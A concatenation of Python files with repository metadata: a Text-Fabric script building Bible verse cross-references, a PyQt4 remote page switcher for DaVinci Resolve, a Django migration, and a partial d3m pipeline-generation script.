L.u(chunks[chunk1][0], otype="verse")[0] verseNode2 = L.u(chunks[chunk2][0], otype="verse")[0] simInt = int(round(sim)) heading1 = T.sectionFromNode(verseNode1) heading2 = T.sectionFromNode(verseNode2) theseSimilars.append( (method, verseNode1, verseNode2, simInt, *heading1, *heading2) ) utils.caption( 0, "\tMethod {}: found {} similar pairs of verses".format( method, len(theseSimilars) ), ) similars.extend(theseSimilars) writeSimTable(similars) return similars # In[22]: # In[77]: utils.caption(4, "CROSSREFS: Fetching crossrefs") # In[78]: xTable = os.path.exists(TF_TABLE) if FORCE_MATRIX: utils.caption( 0, "\t{} requested of {}".format( "Recomputing" if xTable else "computing", TF_TABLE, ), ) else: if xTable: utils.caption(0, "\tReading existing {}".format(TF_TABLE)) else: utils.caption(0, "\tComputing missing {}".format(TF_TABLE)) # In[79]: if FORCE_MATRIX or not xTable: similars = makeSimTable() else: similars = readSimTable() # In[23]: # In[80]: if not SCRIPT: print("\n".join(sorted(repr(sim) for sim in similars if sim[0] == "LCS")[0:10])) print("\n".join(sorted(repr(sim) for sim in similars if sim[0] == "SET")[0:10])) # In[81]: crossrefData = {} otherMethod = dict(LCS="SET", SET="LCS") # In[82]: for (method, v1, v2, sim, *x) in similars: crossrefData.setdefault(method, {}).setdefault(v1, {})[v2] = sim crossrefData.setdefault(method, {}).setdefault(v2, {})[v1] = sim omethod = otherMethod[method] otherSim = crossrefData.get(omethod, {}).get(v1, {}).get(v2, None) thisSim = sim if otherSim is None else int(round((otherSim + sim) / 2)) crossrefData.setdefault("", {}).setdefault(v1, {})[v2] = thisSim crossrefData.setdefault("", {}).setdefault(v2, {})[v1] = thisSim # # Generating parallels module for Text-Fabric # # We generate the feature `crossref`. # It is an edge feature between verse nodes, with the similarity as weight. # In[89]: utils.caption(4, "Writing TF parallel features") # In[90]: newFeatureStr = "crossref crossrefSET crossrefLCS" newFeatures = newFeatureStr.strip().split() # In[91]: genericMetaPath = f"{thisRepo}/yaml/generic.yaml" parallelsMetaPath = f"{thisRepo}/yaml/parallels.yaml" with open(genericMetaPath) as fh: genericMeta = yaml.load(fh, Loader=yaml.FullLoader) genericMeta["version"] = VERSION with open(parallelsMetaPath) as fh: parallelsMeta = formatMeta(yaml.load(fh, Loader=yaml.FullLoader)) metaData = {"": genericMeta, **parallelsMeta} # In[92]: nodeFeatures = dict() edgeFeatures = dict() for method in [""] + list(otherMethod): edgeFeatures["crossref{}".format(method)] = crossrefData[method] # In[93]: for newFeature in newFeatures: metaData[newFeature]["valueType"] = "int" metaData[newFeature]["edgeValues"] = True # In[94]: TF = Fabric(locations=thisTempTf, silent=True) TF.save(nodeFeatures=nodeFeatures, edgeFeatures=edgeFeatures, metaData=metaData) # # Generating simple crossref notes for SHEBANQ # We base them on the average of both methods, we supply the confidence. # In[33]: # In[ ]: MAX_REFS = 10 # In[ ]: def condenseX(vlabels): cnd = [] (cur_b, cur_c) = (None, None) for (b, c, v, d) in vlabels: sep = ( "" if cur_b is None else ". " if cur_b != b else "; " if cur_c != c else ", " ) show_b = b + " " if cur_b != b else "" show_c = str(c) + ":" if cur_b != b or cur_c != c else "" (cur_b, cur_c) = (b, c) cnd.append("{}[{}{}{}{}]".format(sep, show_b, show_c, v, d)) return cnd # In[ ]: crossrefBase = crossrefData[""] # In[ ]: refsGrouped = [] nCrossrefs = 0 for (x, refs) in crossrefBase.items(): vys = sorted(refs.keys()) nCrossrefs += len(vys) currefs = [] for vy in vys: nr = len(currefs) if nr == MAX_REFS: refsGrouped.append((x, tuple(currefs))) currefs = [] currefs.append(vy) if len(currefs): refsGrouped.append((x, tuple(currefs))) # In[33]: refsCompiled = [] for (x, vys) in refsGrouped: vysd = [ (*T.sectionFromNode(vy, lang="la"), " ~{}%".format(crossrefBase[x][vy])) for vy in vys ] vysl = condenseX(vysd) these_refs = [] for (i, vy) in enumerate(vysd): link_text = vysl[i] link_target = "{} {}:{}".format(vy[0], vy[1], vy[2]) these_refs.append("{}({})".format(link_text, link_target)) refsCompiled.append((x, " ".join(these_refs))) utils.caption( 0, "Compiled {} cross references into {} notes".format(nCrossrefs, len(refsCompiled)), ) # In[34]: # In[ ]: sfields = """ version book chapter verse clause_atom is_shared is_published status keywords ntext """.strip().split() # In[ ]: sfields_fmt = ("{}\t" * (len(sfields) - 1)) + "{}\n" # In[ ]: ofs = open("{}/{}".format(thisNotes, notesFile), "w") ofs.write("{}\n".format("\t".join(sfields))) # In[ ]: for (v, refs) in refsCompiled: firstWord = L.d(v, otype="word")[0] ca = F.number.v(L.u(firstWord, otype="clause_atom")[0]) (bk, ch, vs) = T.sectionFromNode(v, lang="la") ofs.write( sfields_fmt.format( VERSION, bk, ch, vs, ca, "T", "", CROSSREF_STATUS, CROSSREF_KEYWORD, refs, ) ) # In[34]: utils.caption(0, "Generated {} notes".format(len(refsCompiled))) ofs.close() # # Diffs # # Check differences with previous versions. # In[35]: # In[35]: utils.checkDiffs(thisTempTf, thisTf, only=set(newFeatures)) # # Deliver # # Copy the new TF feature from the temporary location where it has been created to its final destination. # In[36]: # In[36]: utils.deliverDataset(thisTempTf, thisTf) # # Compile TF # In[38]: # In[ ]: utils.caption(4, "Load and compile the new TF features") # In[38]: TF = Fabric(locations=[coreTf, thisTf], modules=[""]) api = TF.load(newFeatureStr) api.makeAvailableIn(globals()) # # Examples # We list all the crossrefs that the verses of Genesis 10 are involved in. # In[39]: # In[ ]: utils.caption(4, "Test: crossrefs of Genesis 10") # In[ ]: chapter = ("Genesis", 10) chapterNode = T.nodeFromSection(chapter) startVerses = {} # In[39]: for method in ["", "SET", "LCS"]: utils.caption(0, "\tMethod {}".format(method)) for verseNode in L.d(chapterNode, otype="verse"): crossrefs = Es("crossref{}".format(method)).f(verseNode) if crossrefs: startVerses[T.sectionFromNode(verseNode)] = crossrefs utils.caption(0, "\t\t{} start verses".format(len(startVerses))) for (start, crossrefs) in sorted(startVerses.items()): utils.caption(0, "\t\t{} {}:{}".format(*start), continuation=True) for (target, confidence) in crossrefs: utils.caption( 0, "\t\t{:>20} {:<20} confidende {:>3}%".format( "-" * 10 + ">", "{} {}:{}".format(*T.sectionFromNode(target)), confidence, ), ) # In[29]: # In[29]: if SCRIPT: stop(good=True) # # 6b. SHEBANQ annotations # # The code below generates extensive crossref notes for `4b`, including clique overviews and chapter diffs. # But since the pipeline in October 2017, we generate much simpler notes. # That code is above. # # We retain this code here, in case we want to expand the crossref functionality in the future again. # # Based on selected similarity matrices, we produce a SHEBANQ note set of cross references for similar passages. # In[30]: # In[ ]: def get_verse(i, ca=False): return get_verse_w(chunks[i][0], ca=ca) # In[ ]: def get_verse_o(o, ca=False): return get_verse_w(L.d(o, otype="word")[0], ca=ca) # In[ ]: def get_verse_w(w, ca=False): book = F.book.v(L.u(w, otype="book")[0]) chapter = F.chapter.v(L.u(w, otype="chapter")[0]) verse = F.verse.v(L.u(w, otype="verse")[0]) if ca: ca = F.number.v(L.u(w, otype="clause_atom")[0]) return (book, chapter, verse, ca) if ca else (book, chapter, verse) # In[ ]: def key_verse(x): return (book_rank[x[0]], int(x[1]), int(x[2])) # In[ ]: MAX_REFS = 10 # In[ ]: def condensex(vlabels): cnd = [] (cur_b, cur_c) = (None, None) for (b, c, v, d) in vlabels: sep = ( "" if cur_b is None else ". " if cur_b != b else "; " if cur_c != c else ", " ) show_b = b + " " if cur_b != b else "" show_c = c + ":" if cur_b != b or cur_c != c else "" (cur_b, cur_c) = (b, c) cnd.append("{}{}{}{}{}".format(sep, show_b, show_c, v, d)) return cnd # In[ ]: dfields = """ book1 chapter1 verse1 book2 chapter2 verse2 similarity """.strip().split() # In[ ]: dfields_fmt = ("{}\t" * (len(dfields) - 1)) + "{}\n" # In[ ]: def get_crossrefs(): global crossrefs TF.info("CROSSREFS: Fetching crossrefs") crossrefs_proto = {} crossrefs = {} (chunk_f, chunk_i, sim_m) = SHEBANQ_MATRIX sim_thr = SHEBANQ_SIMILARITY (do_chunk, do_prep, do_sim, do_clique, skip) = do_params( chunk_f, chunk_i, sim_m, sim_thr ) if skip: return TF.info( "CROSSREFS ({} {} {} S>{})".format(CHUNK_LBS[chunk_f], chunk_i, sim_m, sim_thr) ) crossrefs_proto = {x for x in chunk_dist.items() if x[1] >= sim_thr} TF.info( "CROSSREFS ({} {} {} S>{}): found {} pairs".format( CHUNK_LBS[chunk_f], chunk_i, sim_m, sim_thr, len(crossrefs_proto), ) ) f = open(CROSSREF_DB_PATH, "w") f.write("{}\n".format("\t".join(dfields))) for ((x, y), d) in crossrefs_proto: vx = get_verse(x) vy = get_verse(y) rd = int(round(d)) crossrefs.setdefault(x, {})[vy] = rd crossrefs.setdefault(y, {})[vx] = rd f.write(dfields_fmt.format(*(vx + vy + (rd,)))) total = sum(len(x) for x in crossrefs.values()) f.close() TF.info( "CROSSREFS: Found {} crossreferences and wrote {} pairs".format( total, len(crossrefs_proto) ) ) # In[ ]: def get_specific_crossrefs(chunk_f, chunk_i, sim_m, sim_thr, write_to): (do_chunk, do_prep, do_sim, do_clique, skip) = do_params( chunk_f, chunk_i, sim_m, sim_thr ) if skip: return chunking(do_chunk) preparing(do_prep) similarity(do_sim) TF.info("CROSSREFS: Fetching crossrefs") crossrefs_proto = {} crossrefs = {} (do_chunk, do_prep, do_sim, do_clique, skip) = do_params( chunk_f, chunk_i, sim_m, sim_thr ) if skip: return TF.info( "CROSSREFS ({} {} {} S>{})".format(CHUNK_LBS[chunk_f], chunk_i, sim_m, sim_thr) ) crossrefs_proto = {x for x in chunk_dist.items() if x[1] >= sim_thr} TF.info( "CROSSREFS ({} {} {} S>{}): found {} pairs".format( CHUNK_LBS[chunk_f], chunk_i, sim_m, sim_thr, len(crossrefs_proto), ) ) f = open("files/{}".format(write_to), "w") f.write("{}\n".format("\t".join(dfields))) for ((x, y), d) in crossrefs_proto: vx = get_verse(x) vy = get_verse(y) rd = int(round(d)) crossrefs.setdefault(x, {})[vy] = rd crossrefs.setdefault(y, {})[vx] = rd f.write(dfields_fmt.format(*(vx + vy + (rd,)))) total = sum(len(x) for x in crossrefs.values()) f.close() TF.info( "CROSSREFS: Found {} crossreferences and wrote {} pairs".format( total, len(crossrefs_proto) ) ) # In[ ]: def compile_refs(): global refs_compiled refs_grouped = [] for x in sorted(crossrefs): refs = crossrefs[x] vys = sorted(refs.keys(), key=key_verse) currefs = [] for vy in vys: nr = len(currefs) if nr == MAX_REFS: refs_grouped.append((x, tuple(currefs))) currefs = [] currefs.append(vy) if len(currefs): refs_grouped.append((x, tuple(currefs))) refs_compiled = [] for (x, vys) in refs_grouped: vysd = [(vy[0], vy[1], vy[2], " ~{}%".format(crossrefs[x][vy])) for vy in vys] vysl = condensex(vysd) these_refs = [] for (i, vy) in enumerate(vysd): link_text = vysl[i] link_target = "{} {}:{}".format(vy[0], vy[1], vy[2]) these_refs.append("[{}]({})".format(link_text, link_target)) refs_compiled.append((x, " ".join(these_refs))) TF.info( "CROSSREFS: Compiled cross references into {} notes".format(len(refs_compiled)) ) # In[ ]: def get_chapter_diffs(): global chapter_diffs chapter_diffs = [] for cl in sorted(bin_cliques): lb1 = "{} {}".format(F.book.v(cl[0][0]), F.chapter.v(cl[0][1])) lb2 = "{} {}".format(F.book.v(cl[1][0]), F.chapter.v(cl[1][1])) hfilename = "{}_vs_{}.html".format(lb1, lb2).replace(" ", "_") chapter_diffs.append( ( lb1, cl[0][1], lb2, cl[1][1], "{}/{}/{}/{}".format( SHEBANQ_TOOL, LOCAL_BASE_OUTP, CHAPTER_DIR, hfilename, ), ) ) TF.info("CROSSREFS: Added {} chapter diffs".format(2 * len(chapter_diffs))) # In[ ]: def get_clique_refs(): global clique_refs clique_refs = [] for (i, c) in enumerate(cliques): for j in c: seq = i // CLIQUES_PER_FILE clique_refs.append( ( j, i, "{}/{}/{}/{}/clique_{}_{}.html#c_{}".format( SHEBANQ_TOOL, LOCAL_BASE_OUTP, EXPERIMENT_DIR, base_name, base_name, seq, i, ), ) ) TF.info("CROSSREFS: Added {} clique references".format(len(clique_refs))) # In[ ]: sfields = """ version book chapter verse clause_atom is_shared is_published status keywords ntext """.strip().split() # In[ ]: sfields_fmt = ("{}\t" * (len(sfields) - 1)) + "{}\n" # In[ ]: def generate_notes(): with open(NOTES_PATH, "w") as f: f.write("{}\n".format("\t".join(sfields))) x = next(F.otype.s("word")) (bk, ch, vs, ca) = get_verse(x, ca=True) f.write( sfields_fmt.format( VERSION, bk, ch, vs, ca, "T", "", CROSSREF_STATUS, CROSSREF_KEYWORD, """The crossref notes are the result of a computation without manual tweaks. Parameters: chunk by verse, similarity method SET with threshold 65. [Here](tool=parallel) is an account of the generation method.""".replace( "\n", " " ), ) ) for (lb1, ch1, lb2, ch2, fl) in chapter_diffs: (bk1, ch1, vs1, ca1) = get_verse_o(ch1, ca=True) (bk2, ch2, vs2, ca2) = get_verse_o(ch2, ca=True) f.write( sfields_fmt.format( VERSION, bk1, ch1, vs1, ca1, "T", "", CROSSREF_STATUS, CROSSREF_KEYWORD, "[chapter diff with {}](tool:{})".format(lb2, fl), ) ) f.write( sfields_fmt.format( VERSION, bk2, ch2, vs2, ca2, "T", "", CROSSREF_STATUS, CROSSREF_KEYWORD, "[chapter diff with {}](tool:{})".format(lb1, fl), ) ) for (x, refs) in refs_compiled: (bk, ch, vs, ca) = get_verse(x, ca=True) f.write( sfields_fmt.format( VERSION, bk, ch, vs, ca, "T", "", CROSSREF_STATUS, CROSSREF_KEYWORD, refs, ) ) for (chunk, clique, fl) in clique_refs: (bk, ch, vs, ca) = get_verse(chunk, ca=True) f.write( sfields_fmt.format( VERSION, bk, ch, vs, ca, "T", "", CROSSREF_STATUS, CROSSREF_KEYWORD, "[all variants (clique {})](tool:{})".format(clique, fl), ) ) TF.info( "CROSSREFS: Generated {} notes".format( 1 + len(refs_compiled) + 2 * len(chapter_diffs) + len(clique_refs) ) ) # In[30]: def crossrefs2shebanq(): expr = SHEBANQ_MATRIX + (SHEBANQ_SIMILARITY,) do_experiment(*(expr + (True,))) get_crossrefs() compile_refs() get_chapter_diffs() get_clique_refs() generate_notes() # # 7. Main # # In the cell below you can select the experiments you want to carry out. # # The previous cells contain just definitions and parameters. # The next cell will do work. # # If none of the matrices and cliques have been computed before on the system where this runs, doing all experiments might take multiple hours (4-8). # In[ ]: # In[ ]: reset_params() # do_experiment(False, 'sentence', 'LCS', 60, False) # In[ ]: do_all_experiments() # do_all_experiments(no_fixed=True, only_object='chapter') # crossrefs2shebanq() # show_all_experiments() # get_specific_crossrefs(False, 'verse', 'LCS', 60, 'crossrefs_lcs_db.txt') # do_all_chunks() # In[ ]: # In[ ]: HTML(ecss) # # 8. Overview of the similarities # # Here are the plots of two similarity matrices # * with verses as chunks and SET as similarity method # * with verses as chunks and LCS as similarity method # # Horizontally you see the degree of similarity from 0 to 100%, vertically the number of pairs that have that (rounded) similarity. This axis is logarithmic. # In[ ]: # In[ ]: do_experiment(False, "verse", "SET", 60, False) distances = collections.Counter() for (x, d) in chunk_dist.items(): distances[int(round(d))] += 1 # In[ ]: x = range(MATRIX_THRESHOLD, 101) fig = plt.figure(figsize=[15, 4]) plt.plot(x, [math.log(max((1, distances[y]))) for y in x], "b-") plt.axis([MATRIX_THRESHOLD, 101, 0, 15]) plt.xlabel("similarity as %") plt.ylabel("log # similarities") plt.xticks(x, x, rotation="vertical") plt.margins(0.2) plt.subplots_adjust(bottom=0.15) plt.title("distances") # In[ ]: # In[ ]: do_experiment(False, "verse", "LCS", 60, False) distances = collections.Counter() for (x, d) in chunk_dist.items(): distances[int(round(d))] += 1 # In[ ]: x = range(MATRIX_THRESHOLD, 101) fig = plt.figure(figsize=[15, 4]) plt.plot(x, [math.log(max((1, distances[y]))) for y in x], "b-") plt.axis([MATRIX_THRESHOLD, 101, 0, 15]) plt.xlabel("similarity as %") plt.ylabel("log # similarities") plt.xticks(x, x, rotation="vertical") plt.margins(0.2) plt.subplots_adjust(bottom=0.15) plt.title("distances") # In[ ]:

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107,889

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0

null

0

1

0

null

0

1

a1586b7c08a86b032589e3a797f710af94eef3ed

4,947

py

Python

ResolvePageSwitcher.py

IgorRidanovic/DaVinciResolve-PageSwitcher

5a771d8fa319454dbcf986b8921e5fa0c665baa9

[ "MIT" ]

17

2018-06-01T07:30:33.000Z

2021-12-22T21:05:29.000Z

ResolvePageSwitcher.py

IgorRidanovic/DaVinciResolve-PageSwitcher

5a771d8fa319454dbcf986b8921e5fa0c665baa9

[ "MIT" ]

2

2018-10-23T17:32:45.000Z

2020-12-09T07:48:06.000Z

ResolvePageSwitcher.py

IgorRidanovic/DaVinciResolve-PageSwitcher

5a771d8fa319454dbcf986b8921e5fa0c665baa9

[ "MIT" ]

5

2018-09-06T02:11:56.000Z

2020-10-25T11:25:22.000Z

#! /usr/bin/env python # -*- coding: utf-8 -*- # DaVinci Resolve scripting proof of concept. Resolve page external switcher. # Local or TCP/IP control mode. # Refer to Resolve V15 public beta 2 scripting API documentation for host setup. # Copyright 2018 Igor Riđanović, www.hdhead.com from PyQt4 import QtCore, QtGui import sys import socket # If API module not found assume we're working as a remote control try: import DaVinciResolveScript #Instantiate Resolve object resolve = DaVinciResolveScript.scriptapp('Resolve') checkboxState = False except ImportError: print 'Resolve API not found.' checkboxState = True try: _fromUtf8 = QtCore.QString.fromUtf8 except AttributeError: def _fromUtf8(s): return s try: _encoding = QtGui.QApplication.UnicodeUTF8 def _translate(context, text, disambig): return QtGui.QApplication.translate(context, text, disambig, _encoding) except AttributeError: def _translate(context, text, disambig): return QtGui.QApplication.translate(context, text, disambig) class Ui_Form(object): def setupUi(self, Form): Form.setObjectName(_fromUtf8('Resolve Page Switcher')) Form.resize(561, 88) Form.setStyleSheet(_fromUtf8('background-color: #282828;\ border-color: #555555;\ color: #929292;\ font-size: 13px;'\ )) self.horizontalLayout = QtGui.QHBoxLayout(Form) self.horizontalLayout.setObjectName(_fromUtf8('horizontalLayout')) self.mediaButton = QtGui.QPushButton(Form) self.mediaButton.setObjectName(_fromUtf8('mediaButton')) self.horizontalLayout.addWidget(self.mediaButton) self.editButton = QtGui.QPushButton(Form) self.editButton.setObjectName(_fromUtf8('editButton')) self.horizontalLayout.addWidget(self.editButton) self.fusionButton = QtGui.QPushButton(Form) self.fusionButton.setObjectName(_fromUtf8('fusionButton')) self.horizontalLayout.addWidget(self.fusionButton) self.colorButton = QtGui.QPushButton(Form) self.colorButton.setObjectName(_fromUtf8('colorButton')) self.horizontalLayout.addWidget(self.colorButton) self.fairlightButton = QtGui.QPushButton(Form) self.fairlightButton.setObjectName(_fromUtf8('fairlightButton')) self.horizontalLayout.addWidget(self.fairlightButton) self.deliverButton = QtGui.QPushButton(Form) self.deliverButton.setObjectName(_fromUtf8('deliverButton')) self.horizontalLayout.addWidget(self.deliverButton) self.tcpipcheckBox = QtGui.QCheckBox(Form) self.tcpipcheckBox.setObjectName(_fromUtf8('tcpipcheckBox')) self.tcpipcheckBox.setChecked(checkboxState) self.horizontalLayout.addWidget(self.tcpipcheckBox) self.mediaButton.clicked.connect(lambda: self.pageswitch('media')) self.editButton.clicked.connect(lambda: self.pageswitch('edit')) self.fusionButton.clicked.connect(lambda: self.pageswitch('fusion')) self.colorButton.clicked.connect(lambda: self.pageswitch('color')) self.fairlightButton.clicked.connect(lambda: self.pageswitch('fairlight')) self.deliverButton.clicked.connect(lambda: self.pageswitch('deliver')) self.mediaButton.setStyleSheet(_fromUtf8('background-color: #181818;')) self.editButton.setStyleSheet(_fromUtf8('background-color: #181818;')) self.fusionButton.setStyleSheet(_fromUtf8('background-color: #181818;')) self.colorButton.setStyleSheet(_fromUtf8('background-color: #181818;')) self.fairlightButton.setStyleSheet(_fromUtf8('background-color: #181818;')) self.deliverButton.setStyleSheet(_fromUtf8('background-color: #181818;')) self.retranslateUi(Form) QtCore.QMetaObject.connectSlotsByName(Form) def retranslateUi(self, Form): Form.setWindowTitle(_translate('Resolve Page Switcher',\ 'Resolve Page Switcher', None)) self.mediaButton.setText(_translate('Form', 'Media', None)) self.editButton.setText(_translate('Form', 'Edit', None)) self.fusionButton.setText(_translate('Form', 'Fusion', None)) self.colorButton.setText(_translate('Form', 'Color', None)) self.fairlightButton.setText(_translate('Form', 'Fairlight', None)) self.deliverButton.setText(_translate('Form', 'Deliver', None)) self.tcpipcheckBox.setText(_translate("Form", "TCP/IP remote", None)) def send(self, message): s = socket.socket() try: s.connect((server, port)) except socket.error: print 'Server unavailable. Exiting.' s.send(message) return s.recv(32) def pageswitch(self, page): # Send page name to server to switch remote Resolve's page if self.tcpipcheckBox.isChecked(): response = self.send(page) print 'Server echo:', response # Switch local Resolve's page if API is available else: try: resolve.OpenPage(page) print 'Switched to', page except NameError: print 'Resolve API not found. Run in remote mode instead?' if __name__ == '__main__': # Assign server parameters server = '192.168.1.1' port = 7779 app = QtGui.QApplication(sys.argv) Form = QtGui.QWidget() ui = Ui_Form() ui.setupUi(Form) Form.show() sys.exit(app.exec_())

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80

0.761472

559

4,947

6.665474

0.296959

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0

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4,947

133

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null

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null

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0

null

0

null

0

1

0

1

a15c583b91868493579d97f1c0cb3471ef7cba0e

442

py

Python

myaxf/migrations/0011_minebtns_is_used.py

Pyrans/test1806

1afc62e09bbebf74521b4b6fdafde8eeaa260ed9

[ "Apache-2.0" ]

null

myaxf/migrations/0011_minebtns_is_used.py

Pyrans/test1806

1afc62e09bbebf74521b4b6fdafde8eeaa260ed9

[ "Apache-2.0" ]

null

myaxf/migrations/0011_minebtns_is_used.py

Pyrans/test1806

1afc62e09bbebf74521b4b6fdafde8eeaa260ed9

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- # Generated by Django 1.11.7 on 2018-11-06 01:54 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('myaxf', '0010_minebtns'), ] operations = [ migrations.AddField( model_name='minebtns', name='is_used', field=models.BooleanField(default=True), ), ]

21.047619

52

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442

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0

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0.271493

442

20

53

22.1

0.745342

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0

1

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null

0

1

0

null

0

1

a15d6cd6a92c370d9583f2a5012f9737df67a02a

10,453

py

Python

generate_pipelines.py

phorne-uncharted/d3m-primitives

77d900b9dd6ab4b2b330f4e969dabcdc419c73e1

[ "MIT" ]

null

generate_pipelines.py

phorne-uncharted/d3m-primitives

77d900b9dd6ab4b2b330f4e969dabcdc419c73e1

[ "MIT" ]

null

generate_pipelines.py

phorne-uncharted/d3m-primitives

77d900b9dd6ab4b2b330f4e969dabcdc419c73e1

[ "MIT" ]

null

""" Utility to get generate all submission pipelines for all primitives. This script assumes that `generate_annotations.py` has already been run. """ import os import subprocess import shutil import fire from kf_d3m_primitives.data_preprocessing.data_cleaning.data_cleaning_pipeline import DataCleaningPipeline from kf_d3m_primitives.data_preprocessing.text_summarization.duke_pipeline import DukePipeline from kf_d3m_primitives.data_preprocessing.geocoding_forward.goat_forward_pipeline import GoatForwardPipeline from kf_d3m_primitives.data_preprocessing.geocoding_reverse.goat_reverse_pipeline import GoatReversePipeline from kf_d3m_primitives.data_preprocessing.data_typing.simon_pipeline import SimonPipeline from kf_d3m_primitives.clustering.spectral_clustering.spectral_clustering_pipeline import SpectralClusteringPipeline from kf_d3m_primitives.clustering.k_means.storc_pipeline import StorcPipeline from kf_d3m_primitives.clustering.hdbscan.hdbscan_pipeline import HdbscanPipeline from kf_d3m_primitives.dimensionality_reduction.tsne.tsne_pipeline import TsnePipeline from kf_d3m_primitives.feature_selection.pca_features.pca_features_pipeline import PcaFeaturesPipeline from kf_d3m_primitives.feature_selection.rf_features.rf_features_pipeline import RfFeaturesPipeline from kf_d3m_primitives.natural_language_processing.sent2vec.sent2vec_pipeline import Sent2VecPipeline from kf_d3m_primitives.object_detection.retinanet.object_detection_retinanet_pipeline import ObjectDetectionRNPipeline from kf_d3m_primitives.image_classification.imagenet_transfer_learning.gator_pipeline import GatorPipeline from kf_d3m_primitives.ts_classification.knn.kanine_pipeline import KaninePipeline from kf_d3m_primitives.ts_classification.lstm_fcn.lstm_fcn_pipeline import LstmFcnPipeline from kf_d3m_primitives.ts_forecasting.vector_autoregression.var_pipeline import VarPipeline from kf_d3m_primitives.ts_forecasting.deep_ar.deepar_pipeline import DeepARPipeline from kf_d3m_primitives.ts_forecasting.nbeats.nbeats_pipeline import NBEATSPipeline from kf_d3m_primitives.remote_sensing.classifier.mlp_classifier_pipeline import MlpClassifierPipeline def generate_pipelines(gpu = False): gpu_prims = [ "d3m.primitives.classification.inceptionV3_image_feature.Gator", "d3m.primitives.object_detection.retina_net.ObjectDetectionRN", "d3m.primitives.time_series_classification.convolutional_neural_net.LSTM_FCN", "d3m.primitives.feature_extraction.nk_sent2vec.Sent2Vec", "d3m.primitives.remote_sensing.mlp.MlpClassifier" ] prims_to_pipelines = { "d3m.primitives.data_cleaning.column_type_profiler.Simon": [ (SimonPipeline(), ('185_baseball_MIN_METADATA',)) ], "d3m.primitives.data_cleaning.geocoding.Goat_forward": [ (GoatForwardPipeline(), ('LL0_acled_reduced_MIN_METADATA',)) ], "d3m.primitives.data_cleaning.geocoding.Goat_reverse": [ (GoatReversePipeline(), ('LL0_acled_reduced_MIN_METADATA',)) ], "d3m.primitives.feature_extraction.nk_sent2vec.Sent2Vec": [ (Sent2VecPipeline(), ('LL1_TXT_CLS_apple_products_sentiment_MIN_METADATA',)) ], "d3m.primitives.clustering.k_means.Sloth": [ (StorcPipeline(), ('66_chlorineConcentration_MIN_METADATA',)) ], "d3m.primitives.clustering.hdbscan.Hdbscan": [ (HdbscanPipeline(), ('SEMI_1044_eye_movements_MIN_METADATA',)) ], "d3m.primitives.clustering.spectral_graph.SpectralClustering": [ (SpectralClusteringPipeline(), ('SEMI_1044_eye_movements_MIN_METADATA',)) ], "d3m.primitives.dimensionality_reduction.t_distributed_stochastic_neighbor_embedding.Tsne": [ (TsnePipeline(), ('SEMI_1044_eye_movements_MIN_METADATA',)) ], "d3m.primitives.time_series_classification.k_neighbors.Kanine": [ (KaninePipeline(), ('66_chlorineConcentration_MIN_METADATA',)) ], "d3m.primitives.time_series_classification.convolutional_neural_net.LSTM_FCN": [ (LstmFcnPipeline(), ( '66_chlorineConcentration_MIN_METADATA', "LL1_Adiac_MIN_METADATA", "LL1_ArrowHead_MIN_METADATA", "LL1_Cricket_Y_MIN_METADATA", "LL1_ECG200_MIN_METADATA", "LL1_ElectricDevices_MIN_METADATA", "LL1_FISH_MIN_METADATA", "LL1_FaceFour_MIN_METADATA", "LL1_HandOutlines_MIN_METADATA", "LL1_Haptics_MIN_METADATA", "LL1_ItalyPowerDemand_MIN_METADATA", "LL1_Meat_MIN_METADATA", "LL1_OSULeaf_MIN_METADATA", )), (LstmFcnPipeline(attention_lstm=True), ( '66_chlorineConcentration_MIN_METADATA', "LL1_Adiac_MIN_METADATA", "LL1_ArrowHead_MIN_METADATA", "LL1_Cricket_Y_MIN_METADATA", "LL1_ECG200_MIN_METADATA", "LL1_ElectricDevices_MIN_METADATA", "LL1_FISH_MIN_METADATA", "LL1_FaceFour_MIN_METADATA", "LL1_HandOutlines_MIN_METADATA", "LL1_Haptics_MIN_METADATA", "LL1_ItalyPowerDemand_MIN_METADATA", "LL1_Meat_MIN_METADATA", "LL1_OSULeaf_MIN_METADATA", )) ], "d3m.primitives.time_series_forecasting.vector_autoregression.VAR": [ (VarPipeline(), ( '56_sunspots_MIN_METADATA', '56_sunspots_monthly_MIN_METADATA', 'LL1_736_population_spawn_MIN_METADATA', 'LL1_736_stock_market_MIN_METADATA', 'LL1_terra_canopy_height_long_form_s4_100_MIN_METADATA', "LL1_terra_canopy_height_long_form_s4_90_MIN_METADATA", "LL1_terra_canopy_height_long_form_s4_80_MIN_METADATA", "LL1_terra_canopy_height_long_form_s4_70_MIN_METADATA", 'LL1_terra_leaf_angle_mean_long_form_s4_MIN_METADATA', 'LL1_PHEM_Monthly_Malnutrition_MIN_METADATA', 'LL1_PHEM_weeklyData_malnutrition_MIN_METADATA', )) ], "d3m.primitives.time_series_forecasting.lstm.DeepAR": [ (DeepARPipeline(prediction_length = 21, context_length = 21), ('56_sunspots_MIN_METADATA',)), (DeepARPipeline(prediction_length = 38, context_length = 38), ('56_sunspots_monthly_MIN_METADATA',)), (DeepARPipeline(prediction_length = 60, context_length = 30), ('LL1_736_population_spawn_MIN_METADATA',)), (DeepARPipeline(prediction_length = 34, context_length = 17), ('LL1_736_stock_market_MIN_METADATA',)), ], "d3m.primitives.time_series_forecasting.feed_forward_neural_net.NBEATS": [ (NBEATSPipeline(prediction_length = 21), ('56_sunspots_MIN_METADATA',)), (NBEATSPipeline(prediction_length = 38), ('56_sunspots_monthly_MIN_METADATA',)), (NBEATSPipeline(prediction_length = 60), ('LL1_736_population_spawn_MIN_METADATA',)), (NBEATSPipeline(prediction_length = 34), ('LL1_736_stock_market_MIN_METADATA',)), ], "d3m.primitives.object_detection.retina_net.ObjectDetectionRN": [ (ObjectDetectionRNPipeline(), ( 'LL1_tidy_terra_panicle_detection_MIN_METADATA', 'LL1_penn_fudan_pedestrian_MIN_METADATA' )) ], "d3m.primitives.data_cleaning.data_cleaning.Datacleaning": [ (DataCleaningPipeline(), ('185_baseball_MIN_METADATA',)) ], "d3m.primitives.data_cleaning.text_summarization.Duke": [ (DukePipeline(), ('185_baseball_MIN_METADATA',)) ], "d3m.primitives.feature_selection.pca_features.Pcafeatures": [ (PcaFeaturesPipeline(), ('185_baseball_MIN_METADATA',)) ], "d3m.primitives.feature_selection.rffeatures.Rffeatures": [ (RfFeaturesPipeline(), ('185_baseball_MIN_METADATA',)) ], "d3m.primitives.classification.inceptionV3_image_feature.Gator": [ (GatorPipeline(), ( "124_174_cifar10_MIN_METADATA", "124_188_usps_MIN_METADATA", "124_214_coil20_MIN_METADATA", 